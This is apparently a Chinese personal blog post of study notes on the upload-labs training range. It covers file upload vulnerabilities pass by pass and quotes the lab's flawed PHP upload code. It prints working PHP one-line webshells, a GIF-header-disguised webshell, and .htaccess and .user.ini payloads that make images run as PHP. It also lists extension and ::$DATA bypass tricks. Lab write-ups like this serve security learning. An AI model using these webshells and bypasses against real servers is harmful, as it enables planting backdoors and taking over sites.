upload_labs刷题&&文件上传漏洞笔记

因为这玩意网上wp一找一堆,所以只是自学的笔记&&payload作业,合并成1篇就够了

然后在做题的过程中发现基本能找到的
做的过程中好多关卡明明在看了源码后确定就是这个漏洞,却总是上传失败或者上传结果和预期8一样,推测是apache版本的缘故,搞得我很8爽,最后干脆学个姿势就8管了

win11下phpstudy搭建环境,访问localhost时没有响应

搭了个upload-labs靶场进行学习,搭建时遇到了玄学问题,在这里记录一下
用phpstyudy搭靶场时遇到了在联想和edge浏览器阔以访问localhost,但在火狐上却无法访问,想了好久没解决,最后rx花了5min就解决了,这里记录一下

上网查询火狐返回的报错: winspace[request not found],然后提示应该是winspace这个 8知有求用 的win11新增软件占用了80端口,把它关了就行了

然而在查询占用了80端口的进程的pid后,却发现该pid并8是winspace,于是就迷了,解决8了。使用了”求援会长”机会*1,然后rx看了几分钟,在任务管理器里找到了winspace进程(1个win11新增的8知有啥鸟用的进程),关闭,问题解决…..草(主要是一开始我也想是这玩意作妖,结果在占用80端口的pid里没有发现它,就把他排除了…)

一些payoload作业

.htaccess常见

我就匪夷所思啊,.htaccess在靶场上用就从来没有成功过….(编码问题? 还是? )

1
2
3
4
5
6
7
8
9
10
<FilesMatch "abc" >
SetHandler application/x-httpd-php
</FilesMatch>
//意思是将当前目录下文件名为abc的文件都当php解析

SetHandler application/x-httpd-php
//让Apache将其他类型文件均以php格式解析

AddType application/x-httpd-php .jpg
//.jpg解析成.php
1
2
3
<?php
@eval($_post['x']);
?>

一句话木马

1
2
3
GIF89a? <script language="php">eval($_REQUEST[1])</script>  //文件幻术头绕过...
/*--------------*/
<script language='php'>eval($_POST['v']);</script> //绕过<?,许多命令可以换成这个写法

pass-01 前端js验证

首先查看提示: 是前端js检测,于是F12+F1召唤控制台,点击关闭js就行了
当然,也可以按其他wp的提示,修改js代码(可以将html代码全复制下来,再修改,打开,然后添加一点action之类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif"; //把这行就改一下就阔以啦
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

page-02 Content-Type(MIME验证)

1种常见验证,即验证文件类型

扫盲: MIME

就是抓包时出现的Content-Type字段,比如这次上传1个.php文件,那发送的请求就是: Content-Type: application/octet-stream
这里的application/octet-stream表示字节流(内容是字节)

然后有些后端会对Content-Type进行验证,那么只要将其改为允许上传的类型就阔以了(比如: image/jpeg、image/png、image/gif)

Content-Type抄作业

常见的媒体格式类型如下:

text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
以application开头的媒体格式类型:

application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/atom+xml :Atom XML聚合格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded :

中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)
另外一种常见的媒体格式是上传文件之时使用的:

multipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式(比如上传.htaccess)

page-03 黑名单绕过…

查看提示: 本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!

ok…..这次试着自己做….
先试试大小写: p4yload.pHp,8行
再试试%00截断: p4yload.pHp%00.jpg,成功了,但是查看保存的文件名,并8是p4yload.pHp,导致蚁剑没法连,这是为什么呢?

试着用burp一次次改后缀名:
%00: 错
0x00: 错
.0x00: 错

??我不理解,但是这后面坑定会讲到,于是先放下

然后看wp,wp是猜测这阔能是黑名单,于是上传了.php5后缀(还可以是.phtml/.phps/.pht)
但是要想上传后能执行,要在自己的apache的httpd.conf文件写入

1
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

page-04 .hatccess

查看提示: 本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

圈这么一堆,那就是黑名单了…
(这种时候1个1个试太麻烦,就感觉很有必要写一手自己的脚本了…)

然后wp的做法是: 利用.hatccess文件,这个文件利用的前提: 在apache的httpd.conf中将LoadModule rewrite_module modules/mod_rewrite.so打开(即把对应的注释删除)还有AllowOverride All 实战中遇到没打开的就寄(比如像我这个就没打开,于是显示8出来…)
在上传的文件中写这样一句话:

1
SetHandler application/x-httpd-php

这样所有的文件就都会被当做php文件解析啦(但是原理8太明白….)
或者是:

1
AddType application/x-httpd-php .jpg

(写一个.htaccess文件去把.jpg解析成.php)
在传.htaccess的时候可能会遇到MIME验证,抓包随便改一下就行辽,8影响

AllowOverride参数

AllowOverride参数就是指明Apache服务器是否去找.htacess文件作为配置文件,如果设置为none,那么服务器将忽略.htacess文件,如果设置为All,那么所有在.htaccess文件里有的指令都将被重写

page-05 user.ini

查看hint: 上传目录存在php文件(readme.php)
查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

那么阔以看到,源码里进行了大小写转换,于是这关用大小写绕过是8行的….

那么根据源码提示,访问 upload/readme.php,然后发现这样一句话:
该目录是上传文件保存,该文件为系统说明文件,请勿删除!

思路: 修改read.php文件。
那么如何通过上传文件修改readme.php呢?

上谷歌查,然后发现有个通过.ini文件来绕过的思路: .ini,就是配置文件的一种
想引发这个漏洞,有3个条件: 看求8懂,略

写个payload:

1
auto_prepend_file=666.jpg

这句话的意思: 所有的php文件都自动包含666.jpg文件

然后上传666.jpg,其内容为一句话木马—-
然后等待5min(刷新时间),就阔以用蚁剑连了

page-06 大小写绕过(后缀名8分大小写)

首先,盲注的话,觉得8科学,所以还是要代码审计
于是点击查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/ page-6
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //返回.以及以后的部分
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空 首尾去空格,这是为什么捏

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //ok..这个是给文件换了个随机数名字
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

好,审完了,开始构造payload: 它进行首尾去空格的操作,然后给文件换了个随机数名字,这就算传上去了要怎么访问? 那自然是爆破
然后可以看到没有进行大小写转化,于是可以进行绕过

绕过之后看看upload的文件夹,发现上传成功了,但是名字是随机数,对于这个,可以用burp爆破进行访问,然后找到后用菜刀直连

page-7 空格后缀绕过

查看提示,没啥鸟用,于是查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

没有发现去掉首尾空格的函数,于是我觉得阔以通过空格后缀绕过,事实也果然,burp抓包,在结尾加空格即可
….提示上传出错….我服了,这他妈是什么情况??? 查看源码,也找8到问题所在,wdnmd

page-08 后缀名加点绕过

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.'); //取后缀
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

进行了首尾去空以及转换大小写操作,同时把$DATA也去除了

但是没有使用delot()去除文件名末尾的点,于是可以抓包,然后在文件后缀结尾处加’.’绕过,上传成功后,win会自动把后缀名中的点去掉

page-09 ::$DATA绕过

原理:
源代码缺少 $file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA限制,可以文件名后缀增加::$DATA绕过

Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性 DATA 时,就是请求 a.asp 本身的数据,如果a.asp 还包含了其他的数据流,比如 a.asp:lake2.asp,请求 a.asp:lake2.asp::$DATA,则是请求a.asp中的流数据lake2.asp的流数据内容(么看懂)

NTFS文件流实际应用
NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$DATA
在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

解题步骤
上传文件名info8.php::$DATA,访问时去除后缀
(.phtml文件是指嵌入了php代码的html文件)

绕过WAF通常用8同形式的编码

文件幻术头绕过

1
GIF89a? <script language="php">eval($_REQUEST[1])</script>  //文件幻术头绕过...

upload_labs刷题&&文件上传漏洞笔记
https://bl4zygao.github.io/2022/03/28/upload-labs刷题/
Author
bl4zy
Posted on
March 28, 2022
Licensed under